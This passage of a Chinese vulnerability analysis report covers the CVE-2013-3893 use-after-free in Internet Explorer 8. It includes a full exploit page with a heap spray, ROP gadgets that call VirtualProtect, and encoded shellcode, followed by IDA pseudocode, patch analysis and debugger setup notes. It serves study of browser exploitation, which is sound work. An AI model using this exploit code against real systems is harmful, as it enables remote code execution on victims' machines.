1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <!DOCTYPE html > <html > <head > <title > Migraine</title > </head > <body > Hello World! <script type ="text/javascript" > function trigger ( ) { Math .tan(2 ,1 ); var father=document .createElement("father" ); var child=document .createElement("child" ); Math .tan(1 ,2 ); document .body.appendChild(father); document .body.appendChild(child); Math .sin(1 ,2 ); child.applyElement(father); father.onlosecapture=function ( ) { Heapspray(); document .write("" ); tt = new Array (20 ); for (i = 0 ; i < tt.length; i++) { tt[i] = document .createElement('div' ); tt[i].className = "\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04" ; } Math .sin(1 ,2 ); } Math .cos(1 ,2 ); father['outerText' ]="" ; Math .cos(1 ,2 ); father.setCapture(); child.setCapture(); function Heapspray ( ) { var rop_gadget="\u8d9e\u75b4" +"\u1480\u7690" +"\u0c0c\u0c0c" +"\u20d8\u7690" +"\u0c30\u0c0c" +"\u0c00\u0c0c" +"\u1000\u0000" +"\u0040\u0000" +"\u0c0c\u0c0c" ; var shellcode="\uc931\u8b64\u3041\u408b\u8b0c\u1470\u96ad\u8bad\u1058\u538B\u013c\u8bda\u7852\uda01\u728b\u0120\u31de\u41c9\u01ad\u81d8\u4738\u7465\u7550\u81f4\u0478\u6f72\u4163\ueb75\u7881\u6408\u7264\u7565\u8be2\u2472\ude01\u8b66\u4e0c\u8b49\u1c72\ude01\u148b\u018e\u31da\u53c9\u5152\u6168\u7972\u6841\u694c\u7262\u4c68\u616f\u5464\uff53\u83d2\u0cc4\u5059\uc031\ub866\u6c6c\u6850\u3233\u642e\u7568\u6573\u5472\u54ff\u1024\uc483\u500c\uc031\u6fb8\u4178\u5023\u6c83\u0324\u6823\u6761\u4265\u4d68\u7365\u5473\u74ff\u1024\u54ff\u1c24\uc483\u500c\uc031\ub866\u4646\u5450\uc031\u41b8\u4141\u5023\u6c83\u0324\u5423\uc031\uff50\u2474\uff04\u2474\u3110\u50c0\u54ff\u2024\uc483\u0010" ; var shellcode_old="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6961\u656e\u6d68\u6769\u8b72\u53c4\u5050\uff53\ufc57\uff53\uf857" ; var sc="\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c" +rop_gadget+shellcode; var nop="\u0c0c\u0c0c" ; var offset=0x5ee -4 /2 ; while (nop.length<0x10000 ) nop+=nop; var nop_chunk=nop.substring(0 ,(0x10000 /2 -sc.length)); var sc_nop=sc+nop_chunk; while (sc_nop.length<0x100000 ) sc_nop+=sc_nop; sc_nop=sc_nop.substring(0 ,(0x80000 -6 )/2 -offset); var offset_pattern=nop.substring(0 ,offset); code=offset_pattern+sc_nop; heap_chunks=new Array (); for (i=0 ;i<1000 ;i++) { heap_chunks[i]=code.substring(0,code.length); } } } window .setTimeout("trigger()" ,1000 ); </script > </body > </html >
EXP执行流分析 直接进入一个gadget,执行栈翻转,esp被翻转到0c0c0c0c然后因为栈操作被继续提高到0c0c0c10,然后ret4跳转。
跳转前esp指向0c0c0c10,因为ret 4跳转之后esp变为了0c0c0c18而不是0c0c0c10
在0c0c0c18埋下VirtualProtect的地址,成功进入程序流。
VirtualProtect其实只是VirtualProtectEX的一个外壳,在函数内部,将参数分别入栈再调用VirtualProtectEX。查看我们入栈的数据是否正确,发现EX函数比原函数多了一个参数。
执行之后eax返回1,说明执行成功,shellcode所在地址已经能够执行。
进入shellcode执行,成功弹窗。
2.1.5漏洞原因和补丁分析 我们使用IDA逆向分析关键函数SetMouseCapture。
IDA 生成的伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 void __userpurge CDoc::SetMouseCapture (int a1@<eax>, CDoc *a2@<ecx>, CDoc *lpMem, int a4, void *a5, int a6, int a7, int a8) { CDoc *v8; int v9; int v10; int v11; void *v12; CImplPtrAry *v13; struct CElementCapture *v14 ; int v15; int v16; CMessage *v17; CMessage *v18; CElementCapture *v19; CImplPtrAry *v20; CServer *v21; void *v22; char v23; int v24; int v25; void *lpMema; v8 = lpMem; v9 = a1; if ( *((_DWORD *)lpMem + 469 ) & 0x1000 ) v9 = 0 ; if ( v9 ) { v25 = (*((_DWORD *)lpMem + 65 ) >> 2 ) - 1 ; v10 = v25; if ( v25 < 0 ) goto LABEL_31; v11 = *((_DWORD *)lpMem + 67 ) + 4 * v25; do { if ( *(_DWORD *)(*(_DWORD *)v11 + 8 ) == v9 ) break ; --v10; v11 -= 4 ; } while ( v10 >= 0 ); if ( v10 < 0 ) { LABEL_31: v12 = ATL_malloc(0x10 u); lpMema = (void *)(v12 ? CElementCapture::CElementCapture(v12, a7, a8, a4, a5) : 0 ); if ( lpMema ) { v14 = CDoc::GetLastCapture(v8); if ( v14 && CDoc::HasContainerCapture(v8, *(struct CElement ***)(v9 + 20 )) ) { CMessage::CMessage(&v23, 0 ); v24 = 533 ; CDoc::PumpMessage(v8, (struct CMessage *)&v23, 0 , 0 ); if ( v14 == CDoc::GetLastCapture(v8) ) { v16 = *((_DWORD *)v14 + 3 ); if ( !(v16 & 2 ) ) { v15 = *((_DWORD *)v14 + 2 ); if ( !(*(_DWORD *)(v15 + 28 ) & 0x8000000 ) ) { *((_DWORD *)v14 + 3 ) = v16 | 2 ; *((_DWORD *)v8 + 469 ) |= 0x1000 u; CElement::FireEvent( *((CElement **)v14 + 2 ), (const struct PROPERTYDESC_BASIC *)&s_propdescCElementonlosecapture, 1 , 0 , -1 , 0 , 0 ); *((_DWORD *)v8 + 469 ) &= 0xFFFFEFFF ; } } } if ( *((_DWORD *)v8 + 65 ) & 0xFFFFFFFC ) { if ( v14 == CDoc::GetLastCapture(v8) ) { CElementCapture::~CElementCapture(v19); CBlockElement::operator delete ((void *)v14) ; CImplPtrAry::Delete(v20, (int )v22); } CImplPtrAry::Append(v19, v22); } else { CElementCapture::~CElementCapture((CElementCapture *)v15); CBlockElement::operator delete (lpMema) ; v18 = v17; } CMessage::~CMessage(v18); } else { CImplPtrAry::Append(v13, v22); if ( !v14 ) CServer::SetCapture(v21, 1 ); } } } } else { CDoc::ClearMouseCapture(a2, lpMem); } }
对比微软的补丁可以知道,微软在进入LABEL_31:段前增加了判断,TreeNode是否在Dom树上,如果TreeNode不在Dom树上就不会进入LABEL_31的,也就不会触发漏洞。
经过之前的动态分析,可以知道进入LABEL_31之后会进入PumpMessage->NodeAddRef->GetInterface,最后导致UAF触发任意代码执行。
参考文献 [1].Use After Free Exploits for Humans Part 1 – Exploiting MS13-080 on IE8 winxpsp3[DB/OL].
https://webstersprodigy.net/2014/11/19/use-after-free-exploits-for-humans-part-1-exploiting-ms13-080-on-ie8-winxpsp3/,2014-9-19
[2]Payload_82.(https://www.52pojie.cn/home.php?mod=space&uid=817719).暴雷漏洞 (CVE-2012-1889)个人漏洞分析报告[DB/OL].https://www.52pojie.cn/thread-730324-1-1.html,2018-4-24
[3]0x9A82.IE浏览器漏洞综合利用技术:堆喷射技术[DB/OL].https://bbs.pediy.com/thread-223106.htm,2017-12-4
[4]Geek青松.(https://me.csdn.net/u010142102).CVE-2013-3893 IE浏览器UAF漏洞分析[DB/OL]。https://blog.csdn.net/u010142102/article/details/89207164,2019-04-11
[5]luobobo.CVE-2013-3893 详细分析[DB/OL].https://bbs.pediy.com/thread-226879.htm,2018-5-19
扩展阅读
Crash和利用分析可以看这篇
http://www.freesion.com/article/137468367/
https://www.cnblogs.com/wal613/p/3887719.html
IE浏览器安全
https://www.infoq.cn/article/Internet-Explorer-Security1/
https://www.infoq.cn/article/InternetExplorer-Security2/
https://www.anquanke.com/post/id/187650
Pwnable-UAF
https://cloud.tencent.com/developer/article/1345751
浏览器运行原理(推荐)
https://www.html5rocks.com/zh/tutorials/internals/howbrowserswork/#1_1
0x9A82师傅写的都是精品
UAF漏洞学习
https://www.cnblogs.com/Ox9A82/p/5320857.html
IE漏洞的调试心得
https://www.cnblogs.com/Ox9A82/p/5782425.html
CVE-2013-3893
https://www.cnblogs.com/Ox9A82/p/5797123.html
附录 Windbg符号表设置
符号表设置在调试IE漏洞中非常重要,没有符号表调试过程就像盲人摸象,在Windbg中设置符号地址为
SRVc:\Symbols http://msdl.microsoft.com/download/symbols
>.reload 重新载入符号表
如果载入出现问题,可以执行!sym noisy之后再进行reload,windbg会打印符号表载入细节。例如这里可以看的处是微软符号服务器的问题,无法下载对应PDB文件。如果是winxp系统,则是微软已经关闭了服务,无法通过这种方法下载。如果是win7及以上,可能是服务器抽风了,检查一下这个网站是否可以访问,多试几次一般就行了。
当初安装时候以为WIN7的符号表也和WinXP一样一声不响地关闭了,前两天还给Vista下载了符号表,然后这两天忽然就不行。不过到了第二天,忽然又可以载入符号表了,听大佬说到明年WIN7才会停止支持。
对于winxp,因为符号包弃用,只能去下载别人的符号表。
.reload -f mshtml.dll下载mshtml.dll的符号表(pdb文件)。我们都知道mshtml是IE浏览器的用于解析页面最重要的组件。
然后就可以下断点了。调试IE如果没有符号表基本就没有办法好好调试了。
可以使用x 搜索mshtml中的函数进行下断点。
IDA符号表设置
我们还可以将符号表加载到IDA,这样反汇编mshtml.dll时里面的函数就会真正拥有它本来的姓名,而不是sub_xxx的名称。
使用file-load file-PDB file就能加载符号表了。当然还是建议在mshtml本地环境(我这里是WIn7 SP1)安装一个IDA pro6.8,这样也会少去了很多步骤。
加载符号表之前
加载符号表之后
符号表的一些参考文献:
https://stackoverflow.com/questions/4828583/error-symbol-file-could-not-be-found-windbg-exe
https://www.wintellect.com/the-secret-to-avoiding-debugger-slowdowns/